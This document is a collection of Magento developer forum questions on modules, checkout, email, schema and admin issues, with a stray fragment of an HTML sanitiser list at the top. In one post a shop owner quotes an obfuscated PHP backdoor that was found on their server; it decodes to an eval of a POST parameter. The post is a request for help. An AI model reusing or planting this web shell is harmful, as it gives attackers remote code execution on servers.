            +"|onkeypress|onkeyup|onmousedown|onmousemove|onmouseout|onmouseover"
            +"|onmouseup|src|srcset|sizes|style|title|usemap|vspace|width],"
            +"picture[source]" ,

Would this be the most suitable solution?


texts: Using customer attribute inside invoice email

texts:
I have a customer attribute "maconomy" that the user will enter an email address into on signup.

I am trying to Bcc this email address into the invoice emails.

I have successfully hard coded a Bcc in for testing which works great, however I am stuck in trying to retrieve this customer attribute to put into the Bcc!

My code for this sending section is below:

public function send()
{
    $emailTemplate = Mage::getModel('core/email_template');
    // Send all emails from corresponding list
    while (!empty($this->_emailInfos)) {
        $emailInfo = array_pop($this->_emailInfos);
        $erroremails = var_dump($emailInfo);
        $customer = Mage::getModel('customer/customer')->load($customerId);
        $customerAttr = $customer->getMaconomy();
        // Handle "Bcc" recepients of the current email
        $emailTemplate->addBcc($emailInfo->getBccEmails());
        // Set required design parameters and delegate email sending to Mage_Core_Model_Email_Template
        if(!empty($this->_afile))
        {
            $emailTemplate->setEmAttachments($this->_afile); //(by dw)
        }
        $emailTemplate->setDesignConfig(array('area' => 'frontend', 'store' => $this->getStoreId()))->addBCC($customerAttr)
            ->sendTransactional(
                $this->getTemplateId(),
                $this->getSender(),
                $emailInfo->getToEmails(),
                $emailInfo->getToNames(),
                $this->getTemplateParams(),
                $this->getStoreId()
            );
    }
    return $this;
}

EDIT: Tried to get the customer ID as below but the log returns a blank variable.

$customerData = Mage::getSingleton('customer/session')->getCustomer();
$customerId = $customer->getId();
Mage::log($customerId, null, 'mylog.log');


texts:
Route

<?xml version="1.0"?>
<config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:App/etc/routes.xsd">
    <router id="standard">
        <route id="testproduct" frontName="testproduct">
            <module name="Test_Configureproduct" />
        </route>
    </router>
</config>

Block

    <?php
    namespace Test\Configureproduct\Block\Index;
    class ConfigureProductCollection extends \Magento\Framework\View\Element\Template
    {
    public function __construct(\Magento\Framework\View\Element\Template\Context $context)
    {
        parent::__construct($context);
    }

    public function sayHello()
    {
        return __('Hello World');
    }
}

Controller

<?php
namespace Test\Configureproduct\Controller\Index;
class Configure extends \Magento\Framework\App\Action\Action
{
protected $_pageFactory;
public function __construct(
    \Magento\Framework\App\Action\Context $context,
    \Magento\Framework\View\Result\PageFactory $pageFactory)
{
    $this->_pageFactory = $pageFactory;
    return parent::__construct($context);
}

public function execute()
{
    return $this->_pageFactory->create();
}}

XML

<?xml version="1.0"?><page xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" layout="1column" xsi:noNamespaceSchemaLocation="urn:magento:framework:View/Layout/etc/page_configuration.xsd">
<referenceContainer name="content">
    <block class="Test\Configureproduct\Block\Index\ConfigureProductCollection" name="configure_product_view" template="Test_Configureproduct::configure_product.phtml" />
</referenceContainer></page>

Template

<?php

echo $block->sayHello();


texts:
What is the purpose of config.xml file in M2.

How to use it (examples).
How does one config file interact with other config files from other modules
Is it mandatory to put our nodes under the default node?


texts:
How can I declare a size for an int?
I have the following code:
...
    /** @var \Magento\Framework\Setup\SchemaSetupInterface $schemaSetup */
    $table = $schemaSetup->getConnection()
            ->newTable($this->schemaSetup->getTable('my_new_table'));

    $table->addColumn('id', Table::TYPE_INTEGER, null, [
        Table::OPTION_IDENTITY => true,
        Table::OPTION_NULLABLE => false,
        Table::OPTION_PRIMARY => true,
        TABLE::OPTION_UNSIGNED => true,
    ])
    ->addColumn('quote_id', Table::TYPE_INTEGER, 10, ['length' => 10])
...

But when the SQL is output it generates the following:
`quote_id` int NULL COMMENT 'Quote_id'

What I want is:
`quote_id` int(10) NULL COMMENT 'Quote_id'


texts: Writting SQL query to remove product description from database table

texts:
I have magento 2.1.3 with following scenario:

NL Main Website | NL Main Website Store | NL Store view

EN Main Website | EN Main Website Store | EN Store view

DE Main Website | DE Main Website Store | DE Store view

FR Main Website | FR Main Website Store | FR Store view

DK Main Website | DK Main Website Store | DK Store view

ES main website | ES Main Website Store | ES Store view

I like to remove short product description and long product description from the tables in the Database with SQL query, could anyone help me with writing such query so that it can be done quickly?


texts: Cannot change the password via admin panel

texts:
We have set the password change as recommended. However, when we tried to change the password via the change your password link in the admin panel, it doesn't lead to anywhere.

Also, I'm not receiving any emails when trying to reset the password via admin login. However, I'm getting the below alert message when trying to reset the password:

Could anyone please help me with this?

Update:

Tried to update the password in the system -> permissions -> All users and clicking the current user and trying to apply a new password. When saving with the new password it gives this error:

  5.7.60 SMTP; Client does not have permissions to send as this sender

But the password change seems to go through even though I get this error message.

What's this error message and is this related to not receiving emails when trying to reset the password in the login panel.


texts: Invalid ExtensionInterface for nonexistent class Interface with setup:di:compile

texts:
I started getting this error running bin/magento setup:di:compile:

  Invalid ExtensionInterface for nonexistent class Interface in file /bitnami/magento/htdocs/app/code/Magento/TestModuleExtensionAttributes/Api/Data/FakeExtensibleTwoInterface.php

Deleting the generated/ and var/ folders did not help, nor did emptying the cache and re-indexing. Has anyone encountered a problem like this?


texts:
I have custom attribute named style (http://prntscr.com/mq8run).

It was perfecttly working till now. Import-export also working fine. But yesterday when I export CSV of product. All the products without style attribute, got style=11 in CSV. I create another CSV and remove style from all products and again Import CSV. It works fine style=11 removed from frontend also. But again i export CSV and found style=136 in all products (https://prnt.sc/mq7hwh)

I can't understand why this is happened.

Please help me how to solve this.


texts: Custom Tab on Adminhtml Catalog Product New Page Appearing In Two Places Instead of One

texts:
I'm trying to add a custom tab to the new product page in the admin panel. The first block added my tab successfully to the product edit page. The second block definitely does add the tab to the new product page, but it seems to add it both before choosing the product type (where normally there is only one tab called settings that lets you choose the product type before proceeding) and after (when all product settings are made available to you, just like edit).

I really only want my tab on the part of the new product page after you choose a product type. I'll also ask if there's a way to specify whether the tab shows up on simple products, grouped products, configurables, etc. as this is something I may be interested in doing if it is a simple implementation. My main goal, however, is to remove the tab from the first step of new product creation, and only have the tab appear on the second step, no matter the product type.

If that didn't make sense or you're more visual, just take a look at this image, and see how silly it looks to have my new 'Related Projects' tab showing up here:

http://imgur.com/o8o8gH9

It does, however, show up here where it should remain:

http://imgur.com/wxijkQp

<layout>
    <adminhtml_catalog_product_edit>
        <reference name="product_tabs">
            <action method="addTabAfter">
                <name>Related Projects</name>
                <block>company_module/adminhtml_catalog_product_tab</block>
                <after>related</after>
            </action>
        </reference>
    </adminhtml_catalog_product_edit>

    <adminhtml_catalog_product_new>
        <reference name="product_tabs">
            <action method="addTabAfter">
                <name>Related Projects</name>
                <block>company_module/adminhtml_catalog_product_tab</block>
                <after>related</after>
            </action>
        </reference>
    </adminhtml_catalog_product_new>
</layout>

Any help greatly appreciated!


texts: Magento local version doesn't load extensions properly

texts:
I have a running live instance of Magento 1.7. I am trying to setup a local dev env.
Below is what I've done so far:

Copy the project from server
Import a dump of the database
Edit local.xml with proper DB credentials
Update core_config_data with new urls
Run magento_cleanup (which properly sets rules, clean cache)

After those steps, the website is running but some pages are not properly rendered.

When I check the logs, it comes that pages with modules aren't rendered correctly. I have some "Invalid blocks" exceptions. Magento is looking for the blocks with "Mage" namespaces while the blocks are custom and have other namespaces.

Similar issues:

custom model magento looks in Mage/...?

Already done for my modules

Magento tries to Load module from wrong namespace/company

I am quite sure it isn't a case sensitivity issue.. My server is running PHP 5.6.17 while I am running PHP 5.6.40. Could it matter ?

My modules are listed on the backend however.

Thanks


texts: How to remove the third party plugin in magento 2 completely?

texts: I have disabled the weltpixel owl carousel, but i want to completely remove it from the magento. how to go about it?


texts: Magento 2.1: Modifying root .htaccess for URL rewrite rules

texts:
Attempting to add some rewrite rules to the root .htaccess for my Magento 2 installation, but additions to that file are not reflecting. What I want to achieve is to create two rewrite rules. One for trailing slashes and one to rewrite requests to lowercase.

I have confirmed that rewrites are enabled.
The base secure and unsecure URLs end in a '/'.
After modifying the .htaccess files, I restart Apache 2 as well as clear the Magento cache files.
I have tried modifying both the root .htaccess and the /pub/.htaccess

Here are the rewrites I would like to add:

############################################
## Rewrite trailing slashes

RewriteCond %{REQUEST_URI} !(.*)/$
RewriteCond %{REQUEST_FILENAME} !\.(gif|jpg|png|jpeg|css|js)$ [NC]
RewriteRule ^(.*)/$ /$1 [L,R]

############################################
## Rewrite uppercase to lowercase

RewriteMap  lc int:tolower
RewriteCond %{REQUEST_URI} [A-Z]
RewriteRule (.*) ${lc:$1} [R=301,L]

System is running Magento 2.1.9 with PHP 7 Apache 2.4 on Ubuntu 16.04

Ideas?


texts: Declarative schema approach to make customer's lastname optional

texts:
With pre-2.3 Magento versions we were able to write UpgradeData code and make customer's lastname optional as mentioned here: Magento 2 : How to make “lastname ” optional in customer registration form?
 .

How I can make customer's lastname optional using declarative schema approach?


texts: Redirect from checkout/cart to same page

texts:
In the cart screen, I've included a block that is calling a controller, where I modify the items of the cart, and after this, I want to reload the cart screen again, so I can see the changes in the quantities and prices.

But the redirect method is doing nothing.

This is my controller:

class MyModule_IndexController extends Mage_Core_Controller_Front_Action
{
    public function indexAction() {
        if ($this->getRequest()->isPost()) {
            ...
            try {
                $cart = Mage::getModel('checkout/cart')->getQuote();
                foreach ($cart->getAllItems() as $item) {
                    $item->setQty(2);
                }
                $cart->save();
                $this->_getSession()->setCartWasUpdated(true);
                Mage::dispatchEvent('checkout_cart_update_item_complete',
                    array('item' => $item, 'request' => $this->getRequest(), 'response' => $this->getResponse())
                );
            } catch (Mage_Core_Exception $e) {
                $this->_getSession()->addError(Mage::helper('core')->escapeHtml($e->getMessage()));
            } catch (Exception $e) {
                $this->_getSession()->addException($e, $this->__('Cannot update shopping cart.'));
                Mage::logException($e);
            }
            $this->_redirect('checkout/cart');
        }
    }

    protected function _getSession()
    {
        return Mage::getSingleton('customer/session');
    }
}

The line:

$this->_redirect('checkout/cart');

doesn't seem to be working...


texts:
Magento just released new versions of Magento Commerce and Open Source to increase product security, performance, and functionality.
One of it is the Magento Commerce and Open Source 2.3.1.

My question is, how to update Magento  2.3.0 to the latest version 2.3.1?


texts:
I'm creating a new module in Magento 2. I try to get product information in the phtml file. I have get successfully entity_id and product name information. but when I get product type information is getting wrong. The following code used.

$objectManager = \Magento\Framework\App\ObjectManager::getInstance();
$product = $objectManager->get('Magento\Framework\Registry')->registry('current_product'); //get current product

echo $product->getId() . '
';
echo $product->getName() . '
';
echo $product->getProductType() . '
'; //getting wrong product type


texts: Column value display wrong when export CSV in magento 2 admin UI component grid in magento 2

texts:
In my custom module admin UI component data grid there is a one column is named "Status" all data display perfectly.

But my problem is when i export data then "Status" column value display 0 OR 1 because in DATABASE value is stored as 0 and 1

And what i want is
When i export - then in csv file that status values should be 0 => Pending
and for 1 => Active how can i achieve this.

Any help would be appreciated. Thanks.


texts: How do i get quantity in a product_save_after event observer magento2?

texts: I have an observer that is observing catalog_product_save_after.  In this observer I want to get the product quantity.  but the cataloginventory_stock_item table is not updated until after the observer returns.  Is there some way to find the quantity entered in the "quantity" Field  for a brand new product?


texts: How to call Customer custom attribute in front end?

texts: I created yes or no attribute. Attribute id ="authorised_dealer". I want to display in attribute value in front end.How to get it?


texts: Why are my images being loaded as the Admin Login page?

texts:
I'm trying to fix an issue where a user is unable to save changes in the backend as they are being kicked back to the admin login page even though they hasn't been logged in long enough for the session to have expired.

As they were trying to update a static block with an image via the WYSIWYG i looked there and was able to replicate the problem and found that a number of images aren't loading. looking in the Developer Tools for Chrome i see this

in the image above all those are meant to be images yet some have the type detected as text/html, the one i am hovering over clearly shows it's being loaded from the images directory and i can confirm it's a legit image (by locating the url in the DOM and getting the actual file that was supposed to load via the <img>'s alt attribute).

this image was taken from Microsoft Edge's Developer Tools where i have a body tab when looking at a file in the network section, you can see a small bit of HTML which explains why the image is being detected as text/html, the HTML being what's generated when you're presented with the login page.

I believe the user being kicked back to the login page is related to these images not being loaded as images but as the admin login page as if i leave the page to another page (like manage customers) before the images start doing this i am not kicked back to the login page while if i wait i am.

My question is why are these images being loaded as the Admin Login page? and how can i fix this?

EDIT: we have a Dev Enviroment which uses the exact same code though database content is different as it has test data. there is a different with the Media Gallery but only by 8 images which combines is only ~0.4mb. the only difference between this dev and live enviroment is that Dev doesn't use membase and this Redis thing that's set up in the local.xml file in app/etc


texts: Magento 2.1:- Issue in Save Form with multiselect value

texts:
I create one admin form with multiselect form.
Check below my code.

$objectManager = \Magento\Framework\App\ObjectManager::getInstance();
$carrierOptions = $objectManager->get('\Magento\Shipping\Model\Config\Source\Allmethods')->toOptionArray();
$groupOptions = $objectManager->get('\Magento\Customer\Model\ResourceModel\Group\Collection')->toOptionArray();

        $fieldset->addField(
            'carriers',
            'multiselect',
            [
                'name'     => 'carriers[]',
                'label'    => __('Shipping Carriers'),
                'title' => __('Shipping Carriers'),
                'required' => true,
                'values' => $carrierOptions,
                'disabled' => $isElementDisabled,
            ]
        );

        $fieldset->addField(
            'customer_group',
            'multiselect',
            [
                'name'     => 'customer_group[]',
                'label'    => __('Customer Groups'),
                'title' => __('Customer Group'),
                'values' => $groupOptions,
                'disabled' => $isElementDisabled,
            ]
        );

My Save Action like this.

<?php

namespace Vendor\ShippingTest\Controller\Adminhtml\Index;

use Magento\Backend\App\Action;
use Vendor\ShippingTest\Model\ShippingTestFactory;

class Save extends \Magento\Backend\App\Action
{
    protected $ShippingTestFactory;

    public function __construct(Action\Context $context , ShippingTestFactory $ShippingTestFactory)
    {
        $this->ShippingTestFactory = $ShippingTestFactory;
        parent::__construct($context);
    }

    protected function _isAllowed()
    {
        return $this->_authorization->isAllowed('Vendor_ShippingTest::shippingtest_save');
    }

    public function execute()
    {
        $data = $this->getRequest()->getPostValue();
        $resultRedirect = $this->resultRedirectFactory->create();

        if ($data) {
            $model = $this->ShippingTestFactory->create();
            $model->setData($data)
                ->setId($this->getRequest()->getParam('id'));

            try {

                $model->save();

                $this->messageManager->addSuccess(__('ShippingTest was successfully saved'));
                $this->_objectManager->get('Magento\Backend\Model\Session')->setFormData(false);

                if ($this->getRequest()->getParam('back')) {
                    return $resultRedirect->setPath('*/*/edit', ['id' => $model->getId(), '_current' => true]);
                }
                $this->_redirect('*/*/');
                return;

            } catch (\Magento\Framework\Exception\LocalizedException $e) {
                $this->messageManager->addError($e->getMessage());
            } catch (\RuntimeException $e) {
                $this->messageManager->addError($e->getMessage());
            } catch (\Exception $e) {
                $this->messageManager->addException($e, __($e->getMessage().'Something went wrong while saving the page.'));
            }

            $this->_getSession()->setFormData($data);
            return $resultRedirect->setPath('*/*/edit', ['id' => $this->getRequest()->getParam('id')]);
        }

        return $resultRedirect->setPath('*/*/');
    }
}

Now when i save this form i got error like this.
Notice: Array to string conversion in /vendor/magento/framework/DB/Adapter/Pdo/Mysql.php on line 2915Something went wrong while saving the page.
Give me proper suggestion.


texts: Magento 2 Setup/update System/store Configuration values through setup script

texts:
How I should 'Setup/update System/store Configuration values through setup script'? Trying with Setup/Patch/Data script using something like

//app/code/Namespace/Module/Setup/Patch/Data/SetupConfigData.php

namespace Namespace\Module\Setup\Patch\Data;

use Magento\Framework\Setup\ModuleDataSetupInterface;
use Magento\Framework\Setup\Patch\DataPatchInterface;
use Magento\Framework\App\Config\MutableScopeConfigInterface;

class SetupConfigData implements DataPatchInterface
{

const XML_PATH_STORE_NAME = 'general/store_information/name';

const XML_PATH_STORE_PHONE = 'general/store_information/phone';

const XML_PATH_ADMIN_ACCOUNT_SHARING = 'admin/security/admin_account_sharing';

const XML_PATH_ADMIN_URL_SECRET_KEY = 'admin/security/use_form_key';

const SCOPE_STORE = 'store';

/**
 * @var \Magento\Framework\App\Config\MutableScopeConfigInterface
 */
private $mutableScopeConfig;

/**
 * @var ModuleDataSetupInterface
 */
private $moduleDataSetup;

public function __construct(
    ModuleDataSetupInterface $moduleDataSetup,
    MutableScopeConfigInterface $mutableScopeConfig
)
{

    $this->moduleDataSetup = $moduleDataSetup;
    $this->mutableScopeConfig = $mutableScopeConfig;
}

public function apply()
{
    $this->moduleDataSetup->startSetup();
    $this->mutableScopeConfig->setValue(self::XML_PATH_STORE_NAME, "Title", self::SCOPE_STORE);
    $this->mutableScopeConfig->setValue(self::XML_PATH_STORE_PHONE, "Default contact", self::SCOPE_STORE);
    $this->mutableScopeConfig->setValue(self::XML_PATH_ADMIN_ACCOUNT_SHARING, 0, self::SCOPE_STORE);
    $this->mutableScopeConfig->setValue(self::XML_PATH_ADMIN_URL_SECRET_KEY, 0, self::SCOPE_STORE);
    $this->moduleDataSetup->endSetup();
}

public function getAliases()
{
    return [];
}

public static function getDependencies()
{
    return [];
}
}

Environment: Magento 2.3.3 and nothing changed after running setup:upgrade, am not sure what am I missing.


texts: 'Clean' magento install 1.9.0.1 (patches installed) spam scripts installed?

texts:
I have a couple of magento webshops. And only one magento webshop without any extensions and with all patches installed has the issue that it installs some scripts that send out spam.

Some facts:

magento 1.9.0.1
no extensions
Verified theme that gets regular updates
Child theme used for own customisations (only css and simple html)
patches all installed when needed

It's installed on a vps on centos. php-fpm 5.3 (5.6 as second php)
exim + mailgun used for sending mail.

A sample of what is installed:

<?php
$ugjr9="utrsoe_p";
$kzbf99 =$ugjr9[3]. $ugjr9[1]. $ugjr9[2]. $ugjr9[1]. $ugjr9[4]. $ugjr9[0]. $ugjr9[7]. $ugjr9[7]. $ugjr9[5]. $ugjr9[2];
$dmr4 = $kzbf99($ugjr9[6]. $ugjr9[7] . $ugjr9[4]. $ugjr9[3]. $ugjr9[1] );
if( isset (${$dmr4 }['qa04af1'])) {eval( ${ $dmr4 }['qa04af1' ]) ; }
?>

Please help


texts: can't login into customer account in Magento

texts:
When I try to register as well as login into customer account, I am not redirected to my customer dashboard.

In registration customer details are registered clearly in database, but I am not redirected to my dashboard. After completing my customer registration it takes me into login page instead of my dashboard why???

I have already added:getFormKey();

In XAMPP everything works fine in my web server I face this problem.

Please help me.


texts: How to sort product by best seller Magento 2.1 without changing in core file

texts:
I want to get product Collection sort by bestseller product.
How to achieve  this ?


texts: Order totals not displayed (i.e. blank) in Magento admin

texts:
The order totals section of the Order View page is blank in Magento admin panel. All other information from the transaction is displayed on the order view (customers address etc and payment method) but the 'Order Totals' section is now blank.

Can anyone advise on how to troubleshoot this issue?

The following html is present but there's no content within it:

Order Totals


texts: Exporting products, Import/Export profiles - Fatal error: Call to undefined method Mage_Catalog_Model_Product_Type_Simple::getConfigurableAttributes()

texts:
I am trying to export all products using Magento's Import/Export profiles. However it is giving me this error:

Fatal error: Call to undefined method

Mage_Catalog_Model_Product_Type_Simple::getConfigurableAttributes() in /Applications/MAMP/htdocs/mywebsite.local/app/code/core/Mage/Catalog/Model/Product/Type/Configurable/Price.php on line 77


texts: Magento 1: What is the function "$invoice->register()" for?

texts:
I try to generate invoices programmatically in Magento 1.9.4. It works so far with this code:

    $invoice = Mage::getModel('sales/service_order', $order)->prepareInvoice();
    if (!$invoice->getTotalQty()) {
      Mage::throwException(Mage::helper('core')->__('Cannot create an invoice without products.'));
    }
    $invoice->setRequestedCaptureCase(Mage_Sales_Model_Order_Invoice::CAPTURE_ONLINE);
    // $invoice->register();

    $transaction = Mage::getModel('core/resource_transaction')
        ->addObject($invoice)
        ->addObject($invoice->getOrder());

    $transaction->save();

As you can see, I commented out $invoice->register() as it produces an error while executed (at least, with a specific payment option):
Can anyone explain, what $invoice->register() actually is for?


texts: Check if subcategory exists in current category

texts:
I have the following category setup in my  magento store:

store root
|
bedroom    kitchen     bathroom
|            |            |
furniture  furniture   furniture
lighting   lighting    misc
misc

I need to be able to check if the category misc exists as a subcategory in my current category or not, and if so show a particular block.

So if i was in the kitchen category it would not show but in bedroom and bathroom it would.

How can i do this this check?


texts: Magento 2 category grid not wrapping correctly

texts:
I have a fresh install of Magento 2, and have extended the luma theme, we havent started to edit the category pages as yet, but have noticed the grid doesnt wrap correctly. As you can see from the below, I would be expecting 4 products across on desktop and 2 products across mobile. I have checked other demo sites and they seem to have the same issue ie [http://shop-by-brand-m2.demo.amasty.com/shop-by-brand-m2/sessions/416219/index.php/women.html][1]

Desktop

Mobile


texts: Why I'm getting Uncaught TypeError when creating a Magento 2 plugin?

texts:
I was trying to create a plugin for existing Magento 2 extension, but it is always getting Uncaught TypeError:

 Fatal Error: 'Uncaught TypeError: Argument 1 passed to
 Vinc\discount4customer\Plugin\CheckoutCouponApply::__construct() must
 be an instance of Vinc\discount4customer\Model\AccountFactory,
 instance of Magento\Framework\ObjectManager\ObjectManager given,
 called in
 /var/www/m2site/vendor/magento/framework/ObjectManager/Factory/AbstractFactory.php
 on line 93 and defined in
 /var/www/m2site/app/code/Vinc/discount4customer/Plugin/CheckoutCouponApply.php:30
 Stack trace:

  #0 /var/www/m2site/vendor/magento/framework/ObjectManager/Factory/AbstractFactory.php(93):
 Vinc\discount4customer\Plugin\CheckoutCouponApply-__construct(Object(Magento\Framework\ObjectManager\ObjectManager))

  #1 /var/www/m2site/vendor/magento/framework/ObjectManager/Factory/Compiled.php(88):
 Magento\Framework\ObjectManager\Factory\AbstractFactory-createObject('Vinc\\discou...',
 Array)

  #2 /var/www/m2site/vendor/magento/framework/ObjectManager/ObjectManager.php(71):
 Magento\Framework\ObjectManager\Factory\Compiled-create('Vinc\\discou...')'
 in
 '/var/www/m2site/app/code/Vinc/discount4customer/Plugin/CheckoutCouponApply.php'
 on line 30";root@vs:/home/uuii/websites/m2site/var/report/api#**

My plugin page is very simple as following：

It came from There is an event or method to “plug-in” when the coupon is removed from the cart/quote in the checkout flow?

<?php

namespace Vinc\discount4customer\Plugin;
use Magento\Quote\Model\CouponManagement as CouponManagement;
use Vinc\discount4customer\Model\AccountFactory;

//use Magento\Framework\Event\ObserverInterface;

class CheckoutCouponApply {

protected $accountFactory;

public function __construct(
        AccountFactory $accountFactory
    )
    {
        $this->accountFactory        = $accountFactory;

    }

    public function beforeSet(CouponManagement $subject, $cartId, $couponCode)
    {
        $account = $this->accountFactory->create()->loadByCode($couponCode);
         // Do what you need to do
         file_put_contents("/var/www/m2site/var/log/c".time().".txt",$couponCode ."--" .date("Y-m-d H:i:s").$account);
    }
}
?>

it seems I couldn't use the functions under another namespace?
thanks advance for helping.


texts: Product collection displaying wrong category

texts:
I am currently working on creating a product slider for promotional products.

I have created a new category within Magento called "Promotional" (ID = 497), and have assigned 8 products to it.

My issue is that my code (below) is displaying products from the wrong category and not the newly created "Promotional" category.

category-slider.phtml

<?php
$_products = $this->getLoadedProductCollection();
$_helper = $this->helper('catalog/output');

if ($_products->getSize()):
    echo $_products->getSize();

    foreach ($_products as $_product):

        echo $_helper->productAttribute($_product, $_product->getName(), 'name');

        echo "<pre>";
        print_r( $_product->debug() );
        echo "</pre>";

    endforeach;
endif;

Home page > Design

<reference name="footer_before">
    <block type="catalog/product_list" name="categoryslider" template="mytheme/page/html/sliders/category-slider.phtml" after="-">
        <action method="setCategory"><category_id>497</category_id></action>
    </block>
</reference>

I have tried reindexing as well as clearing all caches (they are all disabled anyway), yet products in a different category are being shown.

Any ideas?


texts:
I can't access the frontend of my website, and when I look at the error report it gives me the following message:

Session data file is not created by your uid

I can access the admin panel without issue.

Can anyone please advise troubleshooting steps/a solution?

I have copied all the website and db files from a site working on a subdomain. I have updated env.php and the core config data to include the new domain.


texts: How to add checkboxes in crosssell.phtml on cart page?

texts:
In cross sell product,every product has different add to cart button.But i need checkboxes for every product and single add to cart button,which on clicked the selected product gets added to the cart.
Below is the functionality image i am trying to achieve

I am new to magento,any help would be appreciated


texts: How can we validate individual form field In Magento 2?

texts:
In Magento 1.x we can validate individual form field like.

<input class="input-text required-entry" id="name" title="First Name" type="text" name="name" value="" onblur="validate(this)"/>

function validate(id){
   Validation.validate(id);
}

In Magento 2.x How can we validate individual form field?

I want to validate only one field from multiple fields in a single form.


texts: I get code while displaying terms and conditions in checkout onepage

texts:
I created a terms and conditions page via Sales > Terms and Conditions, I created a terms page and content as
{{block type="cms/block" block_id="terms"}}.

I also created static block from CMS > Static Block and created a page with identifier as test. But when I see the checkout review page, I get the same content {{block type="cms/block" block_id="terms"}} and not the real content which is placed in CMS > Static Block.

I tried with {{block type="cms/block" block_id="terms" template="agreements/list.phtml"}} But doesn't seem to work.

I believe there is some rendering problem. But not really sure.
I tried googling around, I couldn't find a solution for this problem.


texts: How can I show different category list for different theme?

texts:
I have two themes for a single store view...(desktop and iphone)
I have created some subcategories under the root category for my store. Let's say those are :

categoryone
categorytwo
categorythree
categoryfour

Now I want to show only the first 3 categories(1, 2, 3) in the iphone theme..
By default it is showing all of them..  But I don't want to show the last one in the iphone theme only.

This is the code for category listing..

$_category  = $this->getCurrentCategory();
$_childCats = Mage::getModel('catalog/category')
    ->getCollection()
    ->addAttributeToSelect('*')
    ->addIsActiveFilter()
    ->addAttributeToSort('position', 'asc')
    ->addAttributeToFilter("parent_id", $_category->getId());

        <?php foreach ($_childCats as $category) { ?>

                <?php
                if ($category->getThumbnailUrl()) {
                    $imgPath = $category->getThumbnailUrl();
                } else {
                    $imgPath = $this->getSkinUrl("images/img_old/np_product_main.gif");
                }
                ?>
                <a href="<?php echo $category->getUrl($category); ?>" title="<?php echo $category->getName(); ?>">
                    <img src="<?php echo $imgPath; ?>" alt="" />
                    <?php echo truncateHtml($category->getName(), 40, '...', false, true); ?>
                    <img src="<?php echo $this->getSkinUrl('images/custom/mobile-arrow-rht.png') ?>" width="100%" alt="" />

<?php } ?>

Is there any way to separate categories as per the theme for a single store view ?
Could anyone, please suggest how to do this ?


texts: Transfer categories and products from store to store

texts:
I want to transfer a lot of categories and corresponding products from one store to another.
Wat is the best way to do this, the normal Magento export profiles do not include group pricing for example..

Magento version 1.8.1.0


texts:
A portion of my completed orders revert to processing on seemingly random days.

Most recently, according to "Updated at" on the orders, this occurred on Feb. 26th 2:30:00PM give or take a few seconds. Can I see which crons ran on this day around this time?

Below are some extra details that I hope will help you understand the modules that I know manipulate my order statuses.

Order Process Details:

Custom Order Statuses

Order Submitted
Using Authorize Direct Post method, if payment authorized the order status is set to Payment Authorized.
Using XTENTO Sales Export Module

if status = "Payment Authorized" export to Navision
Set status to "Processing in Navision"

Using XTENTO Tracking Number Import

If order invoiced and shipped completely set order status to = Complete.

Once the mishap occurs, the order status becomes "Processing". In my setup a status of "Processing" is never set.


texts: Display pagination in product listing page in toolbar? How active pagination in magento theme ? i am using magento defualt theme ?

texts:
I want pagination in my toolbar in product listing page. what i can change in catalog/product/list/toolbar.phtml and page/html/pager. what do change in admin side for active pagination.
any idea?


texts: I need select images based on color click

texts:
I need an idea of how to do this. I'm using Configurable Swatches and placing in the images yours name colors.

Example ::::

To white images, names: White
To red images, names: Red

Just here, all right. Now, my question ...

  It is possible and how to do so, by clicking in the color image, just
  stay in the gallery selected image colors?


texts: display a custom checkout step in a single store in multistore site

texts: I have a multi-store site. Currently I need to add a custom step in Magento's one step checkout but it needs to be visible in a single store only. I followed a tutorial by excellencemagentoblog. But now i'm confused on how to enable it in one store view and disable in another. any ideas??


texts: Magento 2 : X-Magento-Tags missing form header

texts:
I have configured varnished cached form admin and also apply a configuration in a server but after all setting in response header "X-Magento-Tags" is missing.

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 07 Feb 2018 09:24:07 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding
Set-Cookie: PHPSESSID=uaihth5qld485ofuniut5ios86; expires=Wed, 07-Feb-2018 10:23:59 GMT; Max-Age=3600; path=/; domain=xxx; secure; HttpOnly
Set-Cookie: store=default; expires=Thu, 07-Feb-2019 09:23:59 GMT; Max-Age=31536000; path=/; HttpOnly
Set-Cookie: searchReport-log=0; path=/
Pragma: no-cache
Cache-Control: max-age=0, must-revalidate, no-cache, no-store
Expires: Tue, 07 Feb 2017 09:23:59 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
X-UA-Compatible: IE=Edge,chrome=1
X-Robots-Tag: noindex, nofollow

Magento version 2.2.1


texts: Set and get catalog session display mode via JS

texts:
I want set and get display_mode variable in catalog/session via javascript in magento.

In PHP we can use:

$mode = Mage::getSingleton('catalog/session')->getDisplayMode();

How can I do it?

thanks


texts: In CRUD, Why delete item operation is preferred via POST request rather than GET request?

texts:
Is there is any special security advantages of using a POST request over GET request for delete operation?

As Magento 2 has preferred POST for delete operation.


texts: Magento checkout not working after upgrading to 1.9.3.1

texts: Just had magento upgraded from 1.9.2 to 1.9.3.1 and checkout has stopped working. When they get to Checkout > Checkout Method they con't checkout as a Guest or Register as a new user.


texts: On product hover all the images from the gallery 1 by 1

texts:
I understand how to display an image based on my selection from backend for hover on the product but i am trying to display 1 by 1 sequencely with a delay
For a starting point i have this code that might help, it will load all the images for this product on the gallery, use this on an item somewhere (list.phtml)

<?php
    $_images = Mage::getModel('catalog/product')->load($_product->getId())->getMediaGalleryImages();
 ?>
<?php
   if($_images){?>
  <?php  $i=0; foreach($_images as $_image){ $i++;?>

    <img src="<?=$this->helper('catalog/image')->init($_product, 'image', $_image->getFile()); ?>"alt="<?=$this->htmlEscape($_image->getLabel());?>" title="<?=$this->htmlEscape($_image->getLabel());?>" width="222px" height="222px" />

<?php  } ?>
<?php  } ?>

I am thinking with the help of jQuery to do this but i do not want all the images to load on a category cause this will have waiting time, it should load 1 by 1 once the "slideshow' inside the main image will start.

anyone have some free time to play with this and help?


texts:
I'm creating a custom magento widget with the WYSIWYG editor as a widget option.

I followed those two pages as initial setup
http://www.behrendt.io/2013/04/12/using-a-wysiwyg-editor-in-a-magento-widget/
https://stackoverflow.com/questions/15767894/magento-add-wysiwyg-editor-to-custom-widget/15953843#15953843

Currently I see the editor appearing, but by saving the widget I run into some errors.

First of all there is the text attribute missing in the widget declaration

{{widget type="widgetone/slideshow"}}

When i try to save the widget i get the following javascript alert

I already looked in the web but didn't found anything helpful.

I'm using magento CE 1.7.0.2 and here you can see my widget code:

